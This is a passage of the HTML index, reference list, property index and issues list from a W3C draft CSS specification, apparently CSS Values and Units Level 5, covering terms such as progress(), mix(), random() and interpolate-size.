href="#mix-progress-value">mix progress value</a>, in § 6 <li><a href="#mix-start-value">mix start value</a>, in § 6 <li><a href="#non-strict-comma-containing-production">non-strict comma-containing production</a>, in § 3.1.1 <li><a href="#valdef-request-url-modifier-no-referrer">no-referrer</a>, in § 4.1.1 <li><a href="#valdef-request-url-modifier-no-referrer-when-downgrade">no-referrer-when-downgrade</a>, in § 4.1.1 <li><a href="#valdef-progress-number"><number></a>, in § 6.1 <li><a href="#valdef-interpolate-size-numeric-only">numeric-only</a>, in § 10.4 <li><a href="#valdef-request-url-modifier-origin">origin</a>, in § 4.1.1 <li><a href="#valdef-request-url-modifier-origin-when-cross-origin">origin-when-cross-origin</a>, in § 4.1.1 <li><a href="#parse-with-a-syntax">parse with a <syntax></a>, in § 3.3.1 <li><a href="#pending-substitution-value">pending-substitution value</a>, in § Unnumbered section <li><a href="#valdef-progress-percentage-token"><percentage-token></a>, in § 6.1 <li><a href="#typedef-position"><position></a>, in § 4.2 <li><a href="#typedef-position-four"><position-four></a>, in § 4.2 <li><a href="#typedef-position-one"><position-one></a>, in § 4.2 <li><a href="#typedef-position-two"><position-two></a>, in § 4.2 <li><a href="#typedef-progress-fn"><progress()></a>, in § 5.1 <li><a href="#typedef-progress"><progress></a>, in § 6.1 <li><a href="#funcdef-progress">progress()</a>, in § 5.1 <li><a href="#progress-end-value">progress end value</a>, in § 5 <li><a href="#progress-start-value">progress start value</a>, in § 5 <li><a href="#progress-value">progress value</a>, in § 5 <li><a href="#funcdef-random">random()</a>, in § 8.1 <li><a href="#random-caching-key">random-caching key</a>, in § 8.3 <li><a href="#typedef-random-caching-options"><random-caching-options></a>, in § 8.1 <li><a href="#css-random-functions">random functions</a>, in § 8 <li><a href="#funcdef-random-item">random-item()</a>, in § 8.2 <li><a href="#funcdef-request-url-modifier-referrerpolicy">referrerpolicy()</a>, in § 4.1.1 <li><a href="#typedef-request-url-modifier-referrerpolicy-modifier"><referrerpolicy-modifier></a>, in § 4.1.1 <li><a href="#typedef-request-url-modifier"><request-url-modifier></a>, in § 4.1.1 <li><a href="#resolve-an-arbitrary-substitution-function">resolve an arbitrary substitution function</a>, in § Unnumbered section <li><a href="#resolve-an-attr-function">resolve an attr() function</a>, in § 7.7.1 <li><a href="#resolve-an-if-function">resolve an if() function</a>, in § 7.3 <li><a href="#resolve-an-inherit-function">resolve an inherit() function</a>, in § 7.6 <li><a href="#valdef-position-right">right</a>, in § 4.2 <li><a href="#valdef-request-url-modifier-same-origin">same-origin</a>, in § 4.1.1 <li><a href="#funcdef-sibling-count">sibling-count()</a>, in § 9 <li><a href="#funcdef-sibling-index">sibling-index()</a>, in § 9 <li><a href="#valdef-calc-size-size">size</a>, in § 10 <li><a href="#valdef-request-url-modifier-strict-origin">strict-origin</a>, in § 4.1.1 <li><a href="#valdef-request-url-modifier-strict-origin-when-cross-origin">strict-origin-when-cross-origin</a>, in § 4.1.1 <li><a href="#substitute-arbitrary-substitution-function">substitute</a>, in § Unnumbered section <li><a href="#substitute-arbitrary-substitution-function">substitute arbitrary substitution function</a>, in § Unnumbered section <li><a href="#substitute-into-a-calc-size-calculation">substitute into a calc-size calculation</a>, in § 10.1 <li><a href="#substitute-arbitrary-substitution-function">substitution</a>, in § Unnumbered section <li><a href="#typedef-syntax"><syntax></a>, in § 3.3 <li><a href="#typedef-syntax-combinator"><syntax-combinator></a>, in § 3.3 <li><a href="#typedef-syntax-component"><syntax-component></a>, in § 3.3 <li><a href="#typedef-syntax-multiplier"><syntax-multiplier></a>, in § 3.3 <li><a href="#typedef-syntax-single-component"><syntax-single-component></a>, in § 3.3 <li><a href="#typedef-syntax-string"><syntax-string></a>, in § 3.3 <li><a href="#typedef-syntax-type-name"><syntax-type-name></a>, in § 3.3 <li><a href="#typedef-toggle"><toggle()></a>, in § 7.4 <li><a href="#funcdef-toggle">toggle()</a>, in § 7.4 <li><a href="#valdef-position-top">top</a>, in § 4.2 <li><a href="#typedef-transform-mix"><transform-mix()></a>, in § 6.5 <li><a href="#funcdef-transform-mix">transform-mix()</a>, in § 6.5 <li><a href="#funcdef-attr-type">type()</a>, in § 7.7 <li><a href="#valdef-request-url-modifier-unsafe-url">unsafe-url</a>, in § 4.1.1 <li><a href="#valdef-request-url-modifier-use-credentials">use-credentials</a>, in § 4.1.1 <li><a href="#typedef-view-timeline-name"><'view-timeline-name'></a>, in § 7.8 <li><a href="#whole-value"><whole-value></a>, in § 7 <li><a href="#valdef-position-x-end">x-end</a>, in § 4.2 <li><a href="#valdef-position-x-start">x-start</a>, in § 4.2 <li><a href="#valdef-position-y-end">y-end</a>, in § 4.2 <li><a href="#valdef-position-y-start">y-start</a>, in § 4.2 </ul> <h3 class="no-num no-ref heading settled" id="index-defined-elsewhere">Terms defined by reference<a class="self-link" href="#index-defined-elsewhere"></a></h3> <ul class="index"> <li> <a data-link-type="biblio">[CSS-ALIGN-3]</a> defines the following terms: <ul> <li>alignment container <li>alignment subject </ul> <li> <a data-link-type="biblio">[CSS-ANIMATIONS-1]</a> defines the following terms: <ul> <li><keyframes-name> <li>@keyframes </ul> <li> <a data-link-type="biblio">[CSS-ANIMATIONS-2]</a> defines the following terms: <ul> <li>animation-timeline <li>auto <li>none </ul> <li> <a data-link-type="biblio">[CSS-BACKGROUNDS-3]</a> defines the following terms: <ul> <li>background positioning area <li>center </ul> <li> <a data-link-type="biblio">[CSS-CASCADE-5]</a> defines the following terms: <ul> <li>inherit <li>inheritance <li>inherited value <li>initial <li>longhand property <li>shorthand <li>unset </ul> <li> <a data-link-type="biblio">[CSS-COLOR-4]</a> defines the following terms: <ul> <li>blue <li>color <li>green <li>opacity <li>red <li>transparent </ul> <li> <a data-link-type="biblio">[CSS-COLOR-5]</a> defines the following terms: <ul> <li><color-interpolation-method> <li>color-mix() </ul> <li> <a data-link-type="biblio">[CSS-CONDITIONAL-3]</a> defines the following terms: <ul> <li><supports-condition> <li>@media <li>@supports </ul> <li> <a data-link-type="biblio">[CSS-CONDITIONAL-5]</a> defines the following terms: <ul> <li><container-name> <li><size-feature> <li><style-query> <li>@container <li>container feature <li>size features </ul> <li> <a data-link-type="biblio">[CSS-DISPLAY-3]</a> defines the following terms: <ul> <li>element </ul> <li> <a data-link-type="biblio">[CSS-EASING-2]</a> defines the following terms: <ul> <li><easing-function> <li>easing function </ul> <li> <a data-link-type="biblio">[CSS-FONTS-4]</a> defines the following terms: <ul> <li>font-palette <li>monospace <li>palette-mix() <li>sans-serif </ul> <li> <a data-link-type="biblio">[CSS-IMAGES-3]</a> defines the following terms: <ul> <li><image> </ul> <li> <a data-link-type="biblio">[CSS-IMAGES-4]</a> defines the following terms: <ul> <li><cf-image> <li>cross-fade() </ul> <li> <a data-link-type="biblio">[CSS-LISTS-3]</a> defines the following terms: <ul> <li>counter() </ul> <li> <a data-link-type="biblio">[CSS-PROPERTIES-VALUES-API-1]</a> defines the following terms: <ul> <li>@property <li>equivalent token sequence <li>registered custom property <li>supported syntax component name <li>syntax definition <li>universal syntax definition </ul> <li> <a data-link-type="biblio">[CSS-SCOPING-1]</a> defines the following terms: <ul> <li>flat tree </ul> <li> <a data-link-type="biblio">[CSS-SIZING-3]</a> defines the following terms: <ul> <li>auto <li>behave as auto <li>definite <li>height <li>intrinsic size <li>max-content <li>min-content <li>width </ul> <li> <a data-link-type="biblio">[CSS-SIZING-4]</a> defines the following terms: <ul> <li>stretch </ul> <li> <a data-link-type="biblio">[CSS-SYNTAX-3]</a> defines the following terms: <ul> <li><any-value> <li><declaration-value> <li><delim-token> <li><ident-token> <li><percentage-token> <li>component value <li>parse <li>parse a list of component values <li>parse something according to a CSS grammar <li>whitespace </ul> <li> <a data-link-type="biblio">[CSS-TRANSFORMS-1]</a> defines the following terms: <ul> <li><transform-list> <li>transform-origin </ul> <li> <a data-link-type="biblio">[CSS-TRANSFORMS-2]</a> defines the following terms: <ul> <li><transform-function> </ul> <li> <a data-link-type="biblio">[CSS-TRANSITIONS-1]</a> defines the following terms: <ul> <li>after-change style </ul> <li> <a data-link-type="biblio">[CSS-TYPED-OM-1]</a> defines the following terms: <ul> <li>match <li>type </ul> <li> <a data-link-type="biblio">[CSS-VALUES-4]</a> defines the following terms: <ul> <li># <li>&& <li>* <li>+ <li>, <li><calc-sum> <li><custom-ident> <li><dashed-ident> <li><dimension> <li><ident> <li><integer> <li><length-percentage> <li><length> <li><number> <li><percentage> <li><string> <li><time> <li><url-modifier> <li><url> <li>? <li>calc() <li>calculation <li>clamp() <li>consistent type <li>CSS-wide keywords <li>determine the type of a calculation <li>functional notation <li>identifier <li>interpolation <li>keyword <li>made consistent <li>math function <li>px <li>round() <li>simplify a calculation tree <li>small viewport size <li>top-level calculation <li>URL request modifier steps <li>value addition <li>value definition syntax <li>{A} <li>| <li>|| </ul> <li> <a data-link-type="biblio">[CSS-VALUES-5]</a> defines the following terms: <ul> <li><boolean-expr[]> </ul> <li> <a data-link-type="biblio">[CSS-VARIABLES-1]</a> defines the following terms: <ul> <li><custom-property-name> <li>custom property <li>guaranteed-invalid value <li>substitute a var() <li>var() </ul> <li> <a data-link-type="biblio">[CSS-WRITING-MODES-4]</a> defines the following terms: <ul> <li>block axis <li>block-axis <li>end <li>flow-relative <li>inline axis <li>inline-axis <li>start <li>writing mode <li>x-axis <li>y-axis </ul> <li> <a data-link-type="biblio">[CSS21]</a> defines the following terms: <ul> <li><color> <li>background-color <li>background-image <li>background-position <li>cascade <li>computed value <li>declaration <li>font-family <li>initial value <li>margin-top <li>shorthand property <li>specified value <li>used value </ul> <li> <a data-link-type="biblio">[CSS22]</a> defines the following terms: <ul> <li>background-position <li>circle <li>disc <li>square </ul> <li> <a data-link-type="biblio">[CSSOM-1]</a> defines the following terms: <ul> <li>getComputedStyle(elt) </ul> <li> <a data-link-type="biblio">[DOM]</a> defines the following terms: <ul> <li>attribute <li>element </ul> <li> <a data-link-type="biblio">[ECMASCRIPT]</a> defines the following terms: <ul> <li>random() </ul> <li> <a data-link-type="biblio">[FETCH]</a> defines the following terms: <ul> <li>credentials mode <li>integrity metadata <li>mode <li>referrer policy <li>request </ul> <li> <a data-link-type="biblio">[HTML]</a> defines the following terms: <ul> <li>details <li>img <li>link </ul> <li> <a data-link-type="biblio">[INFRA]</a> defines the following terms: <ul> <li>ASCII case-insensitive <li>for each <li>list <li>string <li>tuple </ul> <li> <a data-link-type="biblio">[MEDIAQUERIES-5]</a> defines the following terms: <ul> <li><general-enclosed> <li><media-query> <li><mf-name> <li>media feature <li>media query <li>not </ul> <li> <a data-link-type="biblio">[REFERRER-POLICY]</a> defines the following terms: <ul> <li>ReferrerPolicy </ul> <li> <a data-link-type="biblio">[SCROLL-ANIMATIONS-1]</a> defines the following terms: <ul> <li>view-timeline-name </ul> <li> <a data-link-type="biblio">[SELECTORS-3]</a> defines the following terms: <ul> <li>* </ul> <li> <a data-link-type="biblio">[SELECTORS-4]</a> defines the following terms: <ul> <li>:nth-child() <li><complex-real-selector-list> <li>attribute selector <li>originating element <li>pseudo-element <li>selector <li>ultimate originating element </ul> <li> <a data-link-type="biblio">[WEB-ANIMATIONS-1]</a> defines the following terms: <ul> <li>not animatable </ul> <li> <a data-link-type="biblio">[WEBIDL]</a> defines the following terms: <ul> <li>resolve </ul> </ul> <h2 class="no-num no-ref heading settled" id="references">References<a class="self-link" href="#references"></a></h2> <h3 class="no-num no-ref heading settled" id="normative">Normative References<a class="self-link" href="#normative"></a></h3> <dl> <dt id="biblio-css-align-3">[CSS-ALIGN-3] <dd>Elika Etemad; Tab Atkins Jr.. <a href="https://www.w3.org/TR/css-align-3/"><cite>CSS Box Alignment Module Level 3</cite></a>. 17 February 2023. WD. URL: <a href="https://www.w3.org/TR/css-align-3/">https://www.w3.org/TR/css-align-3/</a> <dt id="biblio-css-animations-1">[CSS-ANIMATIONS-1] <dd>David Baron; et al. <a href="https://www.w3.org/TR/css-animations-1/"><cite>CSS Animations Level 1</cite></a>. 2 March 2023. WD. URL: <a href="https://www.w3.org/TR/css-animations-1/">https://www.w3.org/TR/css-animations-1/</a> <dt id="biblio-css-animations-2">[CSS-ANIMATIONS-2] <dd>David Baron; Brian Birtles. <a href="https://www.w3.org/TR/css-animations-2/"><cite>CSS Animations Level 2</cite></a>. 2 June 2023. WD. URL: <a href="https://www.w3.org/TR/css-animations-2/">https://www.w3.org/TR/css-animations-2/</a> <dt id="biblio-css-backgrounds-3">[CSS-BACKGROUNDS-3] <dd>Elika Etemad; Brad Kemper. <a href="https://www.w3.org/TR/css-backgrounds-3/"><cite>CSS Backgrounds and Borders Module Level 3</cite></a>. 11 March 2024. CRD. URL: <a href="https://www.w3.org/TR/css-backgrounds-3/">https://www.w3.org/TR/css-backgrounds-3/</a> <dt id="biblio-css-cascade-5">[CSS-CASCADE-5] <dd>Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. <a href="https://www.w3.org/TR/css-cascade-5/"><cite>CSS Cascading and Inheritance Level 5</cite></a>. 13 January 2022. CR. URL: <a href="https://www.w3.org/TR/css-cascade-5/">https://www.w3.org/TR/css-cascade-5/</a> <dt id="biblio-css-color-5">[CSS-COLOR-5] <dd>Chris Lilley; et al. <a href="https://www.w3.org/TR/css-color-5/"><cite>CSS Color Module Level 5</cite></a>. 29 February 2024. WD. URL: <a href="https://www.w3.org/TR/css-color-5/">https://www.w3.org/TR/css-color-5/</a> <dt id="biblio-css-conditional-3">[CSS-CONDITIONAL-3] <dd>Chris Lilley; David Baron; Elika Etemad. <a href="https://www.w3.org/TR/css-conditional-3/"><cite>CSS Conditional Rules Module Level 3</cite></a>. 15 August 2024. CRD. URL: <a href="https://www.w3.org/TR/css-conditional-3/">https://www.w3.org/TR/css-conditional-3/</a> <dt id="biblio-css-conditional-5">[CSS-CONDITIONAL-5] <dd>Chris Lilley; et al. <a href="https://www.w3.org/TR/css-conditional-5/"><cite>CSS Conditional Rules Module Level 5</cite></a>. 5 November 2024. WD. URL: <a href="https://www.w3.org/TR/css-conditional-5/">https://www.w3.org/TR/css-conditional-5/</a> <dt id="biblio-css-contain-3">[CSS-CONTAIN-3] <dd>Tab Atkins Jr.; Florian Rivoal; Miriam Suzanne. <a href="https://www.w3.org/TR/css-contain-3/"><cite>CSS Containment Module Level 3</cite></a>. 18 August 2022. WD. URL: <a href="https://www.w3.org/TR/css-contain-3/">https://www.w3.org/TR/css-contain-3/</a> <dt id="biblio-css-display-3">[CSS-DISPLAY-3] <dd>Elika Etemad; Tab Atkins Jr.. <a href="https://www.w3.org/TR/css-display-3/"><cite>CSS Display Module Level 3</cite></a>. 30 March 2023. CR. URL: <a href="https://www.w3.org/TR/css-display-3/">https://www.w3.org/TR/css-display-3/</a> <dt id="biblio-css-easing-1">[CSS-EASING-1] <dd>Brian Birtles; Dean Jackson; Matt Rakow. <a href="https://www.w3.org/TR/css-easing-1/"><cite>CSS Easing Functions Level 1</cite></a>. 13 February 2023. CRD. URL: <a href="https://www.w3.org/TR/css-easing-1/">https://www.w3.org/TR/css-easing-1/</a> <dt id="biblio-css-easing-2">[CSS-EASING-2] <dd><a href="https://www.w3.org/TR/css-easing-2/"><cite>CSS Easing Functions Level 2</cite></a>. 29 August 2024. FPWD. URL: <a href="https://www.w3.org/TR/css-easing-2/">https://www.w3.org/TR/css-easing-2/</a> <dt id="biblio-css-fonts-4">[CSS-FONTS-4] <dd>Chris Lilley. <a href="https://www.w3.org/TR/css-fonts-4/"><cite>CSS Fonts Module Level 4</cite></a>. 1 February 2024. WD. URL: <a href="https://www.w3.org/TR/css-fonts-4/">https://www.w3.org/TR/css-fonts-4/</a> <dt id="biblio-css-images-3">[CSS-IMAGES-3] <dd>Tab Atkins Jr.; Elika Etemad; Lea Verou. <a href="https://www.w3.org/TR/css-images-3/"><cite>CSS Images Module Level 3</cite></a>. 18 December 2023. CRD. URL: <a href="https://www.w3.org/TR/css-images-3/">https://www.w3.org/TR/css-images-3/</a> <dt id="biblio-css-images-4">[CSS-IMAGES-4] <dd>Tab Atkins Jr.; Elika Etemad; Lea Verou. <a href="https://www.w3.org/TR/css-images-4/"><cite>CSS Images Module Level 4</cite></a>. 17 February 2023. WD. URL: <a href="https://www.w3.org/TR/css-images-4/">https://www.w3.org/TR/css-images-4/</a> <dt id="biblio-css-properties-values-api-1">[CSS-PROPERTIES-VALUES-API-1] <dd>Tab Atkins Jr.; Alan Stearns; Greg Whitworth. <a href="https://www.w3.org/TR/css-properties-values-api-1/"><cite>CSS Properties and Values API Level 1</cite></a>. 26 March 2024. WD. URL: <a href="https://www.w3.org/TR/css-properties-values-api-1/">https://www.w3.org/TR/css-properties-values-api-1/</a> <dt id="biblio-css-sizing-3">[CSS-SIZING-3] <dd>Tab Atkins Jr.; Elika Etemad. <a href="https://www.w3.org/TR/css-sizing-3/"><cite>CSS Box Sizing Module Level 3</cite></a>. 17 December 2021. WD. URL: <a href="https://www.w3.org/TR/css-sizing-3/">https://www.w3.org/TR/css-sizing-3/</a> <dt id="biblio-css-sizing-4">[CSS-SIZING-4] <dd>Tab Atkins Jr.; Elika Etemad; Jen Simmons. <a href="https://www.w3.org/TR/css-sizing-4/"><cite>CSS Box Sizing Module Level 4</cite></a>. 20 May 2021. WD. URL: <a href="https://www.w3.org/TR/css-sizing-4/">https://www.w3.org/TR/css-sizing-4/</a> <dt id="biblio-css-syntax-3">[CSS-SYNTAX-3] <dd>Tab Atkins Jr.; Simon Sapin. <a href="https://www.w3.org/TR/css-syntax-3/"><cite>CSS Syntax Module Level 3</cite></a>. 24 December 2021. CRD. URL: <a href="https://www.w3.org/TR/css-syntax-3/">https://www.w3.org/TR/css-syntax-3/</a> <dt id="biblio-css-transforms-1">[CSS-TRANSFORMS-1] <dd>Simon Fraser; et al. <a href="https://www.w3.org/TR/css-transforms-1/"><cite>CSS Transforms Module Level 1</cite></a>. 14 February 2019. CR. URL: <a href="https://www.w3.org/TR/css-transforms-1/">https://www.w3.org/TR/css-transforms-1/</a> <dt id="biblio-css-transforms-2">[CSS-TRANSFORMS-2] <dd>Tab Atkins Jr.; et al. <a href="https://www.w3.org/TR/css-transforms-2/"><cite>CSS Transforms Module Level 2</cite></a>. 9 November 2021. WD. URL: <a href="https://www.w3.org/TR/css-transforms-2/">https://www.w3.org/TR/css-transforms-2/</a> <dt id="biblio-css-transitions-1">[CSS-TRANSITIONS-1] <dd>David Baron; et al. <a href="https://www.w3.org/TR/css-transitions-1/"><cite>CSS Transitions</cite></a>. 11 October 2018. WD. URL: <a href="https://www.w3.org/TR/css-transitions-1/">https://www.w3.org/TR/css-transitions-1/</a> <dt id="biblio-css-typed-om-1">[CSS-TYPED-OM-1] <dd>Tab Atkins Jr.; François Remy. <a href="https://www.w3.org/TR/css-typed-om-1/"><cite>CSS Typed OM Level 1</cite></a>. 21 March 2024. WD. URL: <a href="https://www.w3.org/TR/css-typed-om-1/">https://www.w3.org/TR/css-typed-om-1/</a> <dt id="biblio-css-values-4">[CSS-VALUES-4] <dd>Tab Atkins Jr.; Elika Etemad. <a href="https://www.w3.org/TR/css-values-4/"><cite>CSS Values and Units Module Level 4</cite></a>. 12 March 2024. WD. URL: <a href="https://www.w3.org/TR/css-values-4/">https://www.w3.org/TR/css-values-4/</a> <dt id="biblio-css-values-5">[CSS-VALUES-5] <dd>Tab Atkins Jr.; Elika Etemad; Miriam Suzanne. <a href="https://www.w3.org/TR/css-values-5/"><cite>CSS Values and Units Module Level 5</cite></a>. 11 November 2024. WD. URL: <a href="https://www.w3.org/TR/css-values-5/">https://www.w3.org/TR/css-values-5/</a> <dt id="biblio-css-variables-1">[CSS-VARIABLES-1] <dd>Tab Atkins Jr.. <a href="https://www.w3.org/TR/css-variables-1/"><cite>CSS Custom Properties for Cascading Variables Module Level 1</cite></a>. 16 June 2022. CR. URL: <a href="https://www.w3.org/TR/css-variables-1/">https://www.w3.org/TR/css-variables-1/</a> <dt id="biblio-css-writing-modes-4">[CSS-WRITING-MODES-4] <dd>Elika Etemad; Koji Ishii. <a href="https://www.w3.org/TR/css-writing-modes-4/"><cite>CSS Writing Modes Level 4</cite></a>. 30 July 2019. CR. URL: <a href="https://www.w3.org/TR/css-writing-modes-4/">https://www.w3.org/TR/css-writing-modes-4/</a> <dt id="biblio-css21">[CSS21] <dd>Bert Bos; et al. <a href="https://www.w3.org/TR/CSS21/"><cite>Cascading Style Sheets Level 2 Revision 1 (CSS 2.1) Specification</cite></a>. 7 June 2011. REC. URL: <a href="https://www.w3.org/TR/CSS21/">https://www.w3.org/TR/CSS21/</a> <dt id="biblio-dom">[DOM] <dd>Anne van Kesteren. <a href="https://dom.spec.whatwg.org/"><cite>DOM Standard</cite></a>. Living Standard. URL: <a href="https://dom.spec.whatwg.org/">https://dom.spec.whatwg.org/</a> <dt id="biblio-ecmascript">[ECMASCRIPT] <dd><a href="https://tc39.es/ecma262/multipage/"><cite>ECMAScript Language Specification</cite></a>. URL: <a href="https://tc39.es/ecma262/multipage/">https://tc39.es/ecma262/multipage/</a> <dt id="biblio-fetch">[FETCH] <dd>Anne van Kesteren. <a href="https://fetch.spec.whatwg.org/"><cite>Fetch Standard</cite></a>. Living Standard. URL: <a href="https://fetch.spec.whatwg.org/">https://fetch.spec.whatwg.org/</a> <dt id="biblio-html">[HTML] <dd>Anne van Kesteren; et al. <a href="https://html.spec.whatwg.org/multipage/"><cite>HTML Standard</cite></a>. Living Standard. URL: <a href="https://html.spec.whatwg.org/multipage/">https://html.spec.whatwg.org/multipage/</a> <dt id="biblio-infra">[INFRA] <dd>Anne van Kesteren; Domenic Denicola. <a href="https://infra.spec.whatwg.org/"><cite>Infra Standard</cite></a>. Living Standard. URL: <a href="https://infra.spec.whatwg.org/">https://infra.spec.whatwg.org/</a> <dt id="biblio-mediaqueries-4">[MEDIAQUERIES-4] <dd>Florian Rivoal; Tab Atkins Jr.. <a href="https://www.w3.org/TR/mediaqueries-4/"><cite>Media Queries Level 4</cite></a>. 25 December 2021. CRD. URL: <a href="https://www.w3.org/TR/mediaqueries-4/">https://www.w3.org/TR/mediaqueries-4/</a> <dt id="biblio-mediaqueries-5">[MEDIAQUERIES-5] <dd>Dean Jackson; et al. <a href="https://www.w3.org/TR/mediaqueries-5/"><cite>Media Queries Level 5</cite></a>. 18 December 2021. WD. URL: <a href="https://www.w3.org/TR/mediaqueries-5/">https://www.w3.org/TR/mediaqueries-5/</a> <dt id="biblio-referrer-policy">[REFERRER-POLICY] <dd>Jochen Eisinger; Emily Stark. <a href="https://www.w3.org/TR/referrer-policy/"><cite>Referrer Policy</cite></a>. 26 January 2017. CR. URL: <a href="https://www.w3.org/TR/referrer-policy/">https://www.w3.org/TR/referrer-policy/</a> <dt id="biblio-rfc2119">[RFC2119] <dd>S. Bradner. <a href="https://datatracker.ietf.org/doc/html/rfc2119"><cite>Key words for use in RFCs to Indicate Requirement Levels</cite></a>. March 1997. Best Current Practice. URL: <a href="https://datatracker.ietf.org/doc/html/rfc2119">https://datatracker.ietf.org/doc/html/rfc2119</a> <dt id="biblio-selectors-3">[SELECTORS-3] <dd>Tantek Çelik; et al. <a href="https://www.w3.org/TR/selectors-3/"><cite>Selectors Level 3</cite></a>. 6 November 2018. REC. URL: <a href="https://www.w3.org/TR/selectors-3/">https://www.w3.org/TR/selectors-3/</a> <dt id="biblio-selectors-4">[SELECTORS-4] <dd>Elika Etemad; Tab Atkins Jr.. <a href="https://www.w3.org/TR/selectors-4/"><cite>Selectors Level 4</cite></a>. 11 November 2022. WD. URL: <a href="https://www.w3.org/TR/selectors-4/">https://www.w3.org/TR/selectors-4/</a> <dt id="biblio-web-animations-1">[WEB-ANIMATIONS-1] <dd>Brian Birtles; et al. <a href="https://www.w3.org/TR/web-animations-1/"><cite>Web Animations</cite></a>. 5 June 2023. WD. URL: <a href="https://www.w3.org/TR/web-animations-1/">https://www.w3.org/TR/web-animations-1/</a> <dt id="biblio-web-animations-2">[WEB-ANIMATIONS-2] <dd>Brian Birtles; Robert Flack. <a href="https://www.w3.org/TR/web-animations-2/"><cite>Web Animations Level 2</cite></a>. 21 February 2023. FPWD. URL: <a href="https://www.w3.org/TR/web-animations-2/">https://www.w3.org/TR/web-animations-2/</a> <dt id="biblio-webidl">[WEBIDL] <dd>Edgar Chen; Timothy Gu. <a href="https://webidl.spec.whatwg.org/"><cite>Web IDL Standard</cite></a>. Living Standard. URL: <a href="https://webidl.spec.whatwg.org/">https://webidl.spec.whatwg.org/</a> </dl> <h3 class="no-num no-ref heading settled" id="informative">Informative References<a class="self-link" href="#informative"></a></h3> <dl> <dt id="biblio-css-cascade-4">[CSS-CASCADE-4] <dd>Elika Etemad; Tab Atkins Jr.. <a href="https://www.w3.org/TR/css-cascade-4/"><cite>CSS Cascading and Inheritance Level 4</cite></a>. 13 January 2022. CR. URL: <a href="https://www.w3.org/TR/css-cascade-4/">https://www.w3.org/TR/css-cascade-4/</a> <dt id="biblio-css-color-4">[CSS-COLOR-4] <dd>Chris Lilley; Tab Atkins Jr.; Lea Verou. <a href="https://www.w3.org/TR/css-color-4/"><cite>CSS Color Module Level 4</cite></a>. 13 February 2024. CRD. URL: <a href="https://www.w3.org/TR/css-color-4/">https://www.w3.org/TR/css-color-4/</a> <dt id="biblio-css-lists-3">[CSS-LISTS-3] <dd>Elika Etemad; Tab Atkins Jr.. <a href="https://www.w3.org/TR/css-lists-3/"><cite>CSS Lists and Counters Module Level 3</cite></a>. 17 November 2020. WD. URL: <a href="https://www.w3.org/TR/css-lists-3/">https://www.w3.org/TR/css-lists-3/</a> <dt id="biblio-css-scoping-1">[CSS-SCOPING-1] <dd>Tab Atkins Jr.; Elika Etemad. <a href="https://www.w3.org/TR/css-scoping-1/"><cite>CSS Scoping Module Level 1</cite></a>. 3 April 2014. FPWD. URL: <a href="https://www.w3.org/TR/css-scoping-1/">https://www.w3.org/TR/css-scoping-1/</a> <dt id="biblio-css22">[CSS22] <dd>Bert Bos. <a href="https://www.w3.org/TR/CSS22/"><cite>Cascading Style Sheets Level 2 Revision 2 (CSS 2.2) Specification</cite></a>. 12 April 2016. FPWD. URL: <a href="https://www.w3.org/TR/CSS22/">https://www.w3.org/TR/CSS22/</a> <dt id="biblio-cssom-1">[CSSOM-1] <dd>Daniel Glazman; Emilio Cobos Álvarez. <a href="https://www.w3.org/TR/cssom-1/"><cite>CSS Object Model (CSSOM)</cite></a>. 26 August 2021. WD. URL: <a href="https://www.w3.org/TR/cssom-1/">https://www.w3.org/TR/cssom-1/</a> <dt id="biblio-scroll-animations-1">[SCROLL-ANIMATIONS-1] <dd>Brian Birtles; et al. <a href="https://www.w3.org/TR/scroll-animations-1/"><cite>Scroll-driven Animations</cite></a>. 6 June 2023. WD. URL: <a href="https://www.w3.org/TR/scroll-animations-1/">https://www.w3.org/TR/scroll-animations-1/</a> </dl> <h2 class="no-num no-ref heading settled" id="property-index">Property Index<a class="self-link" href="#property-index"></a></h2> <div class="big-element-wrapper"> <table class="index"> <thead> <tr> <th scope="col">Name <th scope="col">Value <th scope="col">Initial <th scope="col">Applies to <th scope="col">Inh. <th scope="col">%ages <th scope="col">Animation type <th scope="col">Canonical order <th scope="col">Computed value <tbody> <tr> <th scope="row"><a class="css" data-link-type="property" href="#propdef-interpolate-size" id="ref-for-propdef-interpolate-size⑤">interpolate-size</a> <td>numeric-only | allow-keywords <td>numeric-only <td>all elements <td>yes <td>n/a <td>not animatable <td>per grammar <td>as specified </table> </div> <h2 class="no-num no-ref heading settled" id="issues-index">Issues Index<a class="self-link" href="#issues-index"></a></h2> <div style="counter-reset:issue"> <div class="issue"> This is a diff spec against <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>. <a class="issue-return" href="#issue-39df5f37" title="Jump to section">↵</a></div> <div class="issue"> Need to define how this syntax would expand to the longhands of <a class="property css" data-link-type="property" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-position">background-position</a> if e.g. <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var">var()</a> is used for some (or all) of the components. <a href="https://github.com/w3c/csswg-drafts/issues/9690">[Issue #9690]</a> <a class="issue-return" href="#issue-8e940682" title="Jump to section">↵</a></div> <div class="issue"> This section is an exploratory draft, and not yet approved by the CSSWG. <a href="https://github.com/w3c/csswg-drafts/issues/6245">[Issue #6245]</a> <a class="issue-return" href="#issue-a8c048ec" title="Jump to section">↵</a></div> <div class="issue"> Do we need a percent-progress() notation, or do enough places auto-convert that it’s not necessary? <a class="issue-return" href="#issue-997f0423" title="Jump to section">↵</a></div> <div class="issue"> This feature <a href="https://css.typetura.com/ruleset-interpolation/explainer/">does not handle multiple breakpoints very well</a>, and <a href="https://github.com/w3c/csswg-drafts/issues/6245#issuecomment-2469190377">might need to be redesigned</a>. <a href="https://github.com/w3c/csswg-drafts/issues/6245">[Issue #6245]</a> <a class="issue-return" href="#issue-3bcda989" title="Jump to section">↵</a></div> <div class="issue"> The <a class="css" data-link-type="maybe" href="#funcdef-mix">mix()</a> notation also has a variant that takes a set of keyframes. It does this by referring to an <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-animations-1/#at-ruledef-keyframes">@keyframes</a> rule, and pulling the corresponding property declaration out of that. It would be nice to allow the other mix notations to take keyframe also, but how would we represent a set of keyframes for a <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#component-value">component value</a> (rather than a full property value)? <a class="issue-return" href="#issue-db9bc56c" title="Jump to section">↵</a></div> <div class="issue"> <a class="production css" data-link-type="type" href="#typedef-progress"><progress></a> allows returning percentages outside 0-100%, but <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-5/#funcdef-color-mix">color-mix()</a> doesn’t allows such values, so need to define how that gets processed. <a class="issue-return" href="#issue-78ec385d" title="Jump to 